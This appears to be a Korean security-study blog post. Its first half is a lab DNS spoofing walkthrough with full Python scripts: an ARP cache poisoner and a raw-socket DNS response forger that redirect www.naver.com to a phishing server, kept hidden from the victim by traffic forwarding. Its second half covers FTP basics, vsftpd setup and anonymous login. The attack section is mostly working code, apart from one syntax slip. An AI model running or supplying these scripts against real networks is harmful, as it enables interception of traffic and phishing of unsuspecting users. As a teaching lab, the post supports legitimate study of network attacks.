본문 바로가기
프로그래밍/NETWORK HACKING

[네트워크 보안] DNS Spoofing 실습 / FTP 개념 및 서버 구축

by B T Y 2017. 7. 28.
반응형

DNS Spoofing 실습 / FTP 개념 및 서버 구축에 대해서 정리한다.

 


DNS Spoofing

 

 

 

출처: http://techgenix.com/understanding-man-in-the-middle-attacks-arp-part2/

 


1. 외부 통신을 할때 게이트웨이를 거쳐서 나간다는점을 이용해서 ARP Spoofing을 통해

  target에 ARP Cache Table을 오염시켜 게이트웨이 맥주소를 attacker의 맥주소로 Spoofing 해주고

  target이 외부 통신이 되지 않는 이상증상을 의심하지 않도록 flagrouter를 이용해서 외부 통신이 정상적으로

  이루어 질수 있도록 환경을 만들어준다.
    ( 간단하게 말해 DNS Spoofing을 하기 전에 MITM 환경을 구성해주는 과정이다 )

 

  * MITM 환경을 구성해주는 이유는 트렌잭션 아이디와 target의 출발지 포트를 알아내기 위해서이다. 

       ( 트렌잭션 아이디가 다르거나 target이 DNS 요청을 보낸 포트를 모른다면 가짜 응답을 보내도 받아들여지지 않는다 )

 

2. 미리 만들어놓은 dns_spoofer.py를 이용해서 외부로 나가는 통신을 모니터링 하고 있다가

  dns 요청중 원하는 도메인('www.naver.com')이 외부로 나가면 가짜 응답을 전달하게 되면서
  target은 'www.naver.com'의 도메인을 가진 미리 만들어둔 피싱 사이트(192.168.6.200)로 연결이 된다. 
    ( flagrouter를 사용하고 있기때문에 DNS Spoofing되는 도메인을 제외한
나머지 도메인은

    정상적인 페이지로 접속이 된다 )

 

* 만약 피싱 사이트로 접속 했을때 네이버와 똑같이 생겼다면 일반 사용자는 정상적인 사이트인지 알아차리기 힘들다

* 외부로 나가는 모니터링중에 원하는 도메인이 나가면 가짜 응답을 전달한다

 


- DNS Cache flush cmd창 명령어
    ipconfig /flushdns

 

- UDP의 공통적인 특징은 인증이 없고 트랜젝션 아이디를 이용해서 구분한다는 점

 

 

- DNS Spoofing 실습

  * arping.py를 이용해 target의 외부(게이트웨이) MAC주소를 Spoofing하고 flagrouter를 이용해서 target 사용자의 정상적인 통신이 가능하도록 만든다.

  * dns_spoofer.py를 이용해 target의 외부 통신을 모니터링하고 있다가 원하는 도메인('www.naver.com') 요청이 외부로 나가게되면 가짜 응답을 보내게 주면서 target은 정상적인 페이지가 아닌 fake web server에 대한 페이지를 받게 된다.

  ( 하지만 일반 사용자라면 똑같이 생긴 페이지를 DNS Spoofing을 이용한 fake web 페이지인지 알기 힘들다 )

 

target: 192.168.6.10 -> 외부(게이트웨이)
attacker: 192.168.6.112

fake web server: 192.168.6.200

 

arping.py

 

import socket
import time
from header.eth import *
from header.arp import *

sock = socket.socket( socket.AF_PACKET, socket.SOCK_RAW )
sock.bind( ('eth0', socket.SOCK_RAW) )

eth = Eth()
arp = Arp()

# ethernet header
eth.dst = 'd0:50:99:8b:4d:a6'
eth.src = '00:50:56:3B:25:F8'
eth.type = 0x0806

# data
arp.hw_type = 1
arp.hw_size = 6
arp.protocol_type = 0x0800
arp.protocol_size = 4
arp.opcode = 1
arp.target_mac = '00:00:00:00:00:00'
arp.target_ip = '192.168.6.10'
arp.sender_mac = '00:50:56:3B:25:F8'
arp.sender_ip = '192.168.6.1'

 

while True:
  sock.send( eth.header + arp.header )
  time.sleep(1)

 

dns_spoofer.py

 

import socket
import struct
import time
from header.packet import *
from header.eth import *
from header.ip import *
from header.udp import *

 

def make_chksum( header ):

 

  size = len( header )

  if size % 2:
    header = header + b'\x00'
    size = len( header )

 

  size = size // 2
  header = struct.unpack('!' + str(size) + 'H', header )
  chksum = sum( header )

  carry = chksum & 0xFF0000
  carry = carry >> 16

  while carry != 0:
    chksum = chksum & 0xFFFF
    chksum = chksum + carry
    carry = chksum & 0xFF0000
    carry = carry >> 16

 

  chksum = chksum ^ 0xFFFF
  return chksum


raw = socket.socket.( socket.PF_PACKET, socket.SOCK_RAW )
raw.bind( ('eth0', socket.SOCK_RAW) )

 

packet = ''
while True:

  data, addr = raw.recvfrom( 65535 )
  packet = Packet( data )

 

  if packet.eth.type == 0x0800 and packet.ip.type == 17 and packet.udp.dst == 53:
    name = packet.udp._data[12:]
    name = name.split(b'\x00')
    name = name[0]


    domain = ''

    for x in name:
      if 48 <= x <= 57: domain += chr(x)
      elif 65 <= x <= 90: domain += chr(x)
      elif 97 <= x <= 122: domain += chr(x)
      else: domain += '.'

    domain = domain[1:]
    print( domain )

 

    if domain == 'www.naver.com':

 

      eth = Eth()
      ip = Ip()
      udp = Udp()

 

      dns = packet.udp._data[:2]
      dns += b'\x81\x80'
      dns += b'\x00\x01'
      dns += b'\x00\x01'
      dns += b'\x00\x00'
      dns += b'\x00\x00'
      dns += b'\x03www\x05naver\x03com\x00'
      dns += b'\x00\x01'
      dns += b'\x00\x01'
      dns += b'\x12\x34\x56\x78'
      dns += b'\x00\x04'
      dns += b'\xc0\xa8\x06\xc8'

 

      udp.src = packet.udp.dst
      udp.dst = packet.udp.src
      udp.length = 0
      udp.chksum = 0
      udp._data = dns
      udp.length = len( udp.header )

 

      ip.ver = 4
      ip.length = 20
      ip.service = 0
      ip.total = 0
      ip.id = 0x1234
      ip.flag = 0
      ip.offset = 0
      ip.ttl = 64
      ip.type = 17
      ip.chksum = 0
      ip.src = packet.ip.dst
      ip.dst = packet.ip.src
      ip.total = len( ip.header ) + len( udp.header )
      ip.chksum = make_chksum( ip.header )

 

      pseudo_header = ip._src + ip._dst + b'\x00' + ip._type + udp._length + udp.header
      udp.chksum = make_chksum( pseudo_header )

 

      eth.dst = packet.eth.src
      eth.src = packet.eth.dst
      eth.type = packet.eth.type

 

      raw.send( eth.header + ip.header + udp.header )

 

 

( dns_spoofer.py를 이용해서 target의 외부 통신을 모니터링 하고 있는 부분이고

원하는 도메인이 나온다면 target에게 가짜 응답응답을 보낸다 )

 

 

( flagrouter가 동작하는 모습이고 flagrouter가 없다면 사용자가 원하는 도메인이 아닌 다른 도메인을 요청하는 경우

target 사용자가 외부로 통신이 안되는걸 알아챌수 있기 때문에 flagrouter를 사용해줘야 한다 )

 

 

( DNS Spoofing이 정상적으로 됬다면 target이 해당 도메인을 요청하게 되면

위 그림처럼 미리 만들어둔 fake web server<192.168.6.200>로 이동하게 된다 )


 


* TCP를 이용한 응용 프로토콜

  - FTP, HTTP, ...


FTP( File Transfer Protocol )

  - 파일 전송 규약

  - FTP 자체에 대한 취약점은 존재할수 있으나 프로토콜에 대한 취약점은 패치가 되어서 현재 알려진 취약점은 없다.


1. FTP 서버를 구축

  - ftp 서비스 제공 데몬: vsftpd, proftpd, ws_ftpd, ...


2. FTP서버의 사용자는 리눅스 시스템 계정과 동일

 

3. FTP 서비스 실행

  #> service vsftpd start

 

 

 

( netstat -ant 명령어로 FTP 서비스인 21/tcp 포트가 정상적으로 열려있는지 확인해준다 )

 

4. 익명 사용자(anonymous)

  - 로그인 없이 서비스를 사용할 수 있음
  - 서비스 사용에 한계가 있음
  - 권한이 제한 되어있다. ( 설정에 따라서 권한을 줄수 있긴 하지만 보안상 위험하다 )

  - 익명 사용자 홈 디렉토리: /var/ftp

  - 윈도우에서는 -A 옵션을 이용하고 리눅스에서는 비밀번호 없이 아이디를 anonymous로 로그인해주면 된다.

 

  * FTP에서는 FTP 명령어가 따로 존재한다.

  * FTP 클라이언트는 윈도우 cmd창에서 ftp명령어를 이용하거나 웹브라우저(ftp://FTP서버 주소)를 통해 접속할수 있고  

   기본으로 클라이언트가 제공된다.

  * 리눅스 같은 경우에는 FTP 클라이언트를 사용하기 위해서는 yum을 이용해서 ftp.i686을 설치후에 이용이 가능하다. 


  - TCP 사용하는 서비스의 경우에는 서비스를 이용하기 위한 특정 클라이언트 프로그램을 제공하는 경우가 많다.

    ( 예를들면 FTP 서비스를 이용하기 위해서는 Filezila, RFTP, ... 같은 클라이언트 프로그램이 있다 )

 

 

 

( 윈도우 cmd창 ftp 클라이언트를 이용해 명령어 이후에 ftp서버를 적어 해당 서버에 접속 할 수 있다 )

 

 

( 윈도우에서는 ftp서버 익명 로그인을 위해서 -A 옵션을 이용하게 되고

익명 접속시 /var/ftp를 홈디렉터리로 사용하게 된다 )

 

 

( 웹브라우저에서도 ftp 클라이언트를 제공해주기 때문에 ftp://ftp서버주소를 이용해 위 그림처럼 접속할수 있다 )

 

 

( 리눅스에서 익명 접속을 이용할때 아이디는 anonoymous를 이용하게 되면

접속이 가능하고 익명 접속자의 권한은 제한된 권한이다 )

 

 

반응형

댓글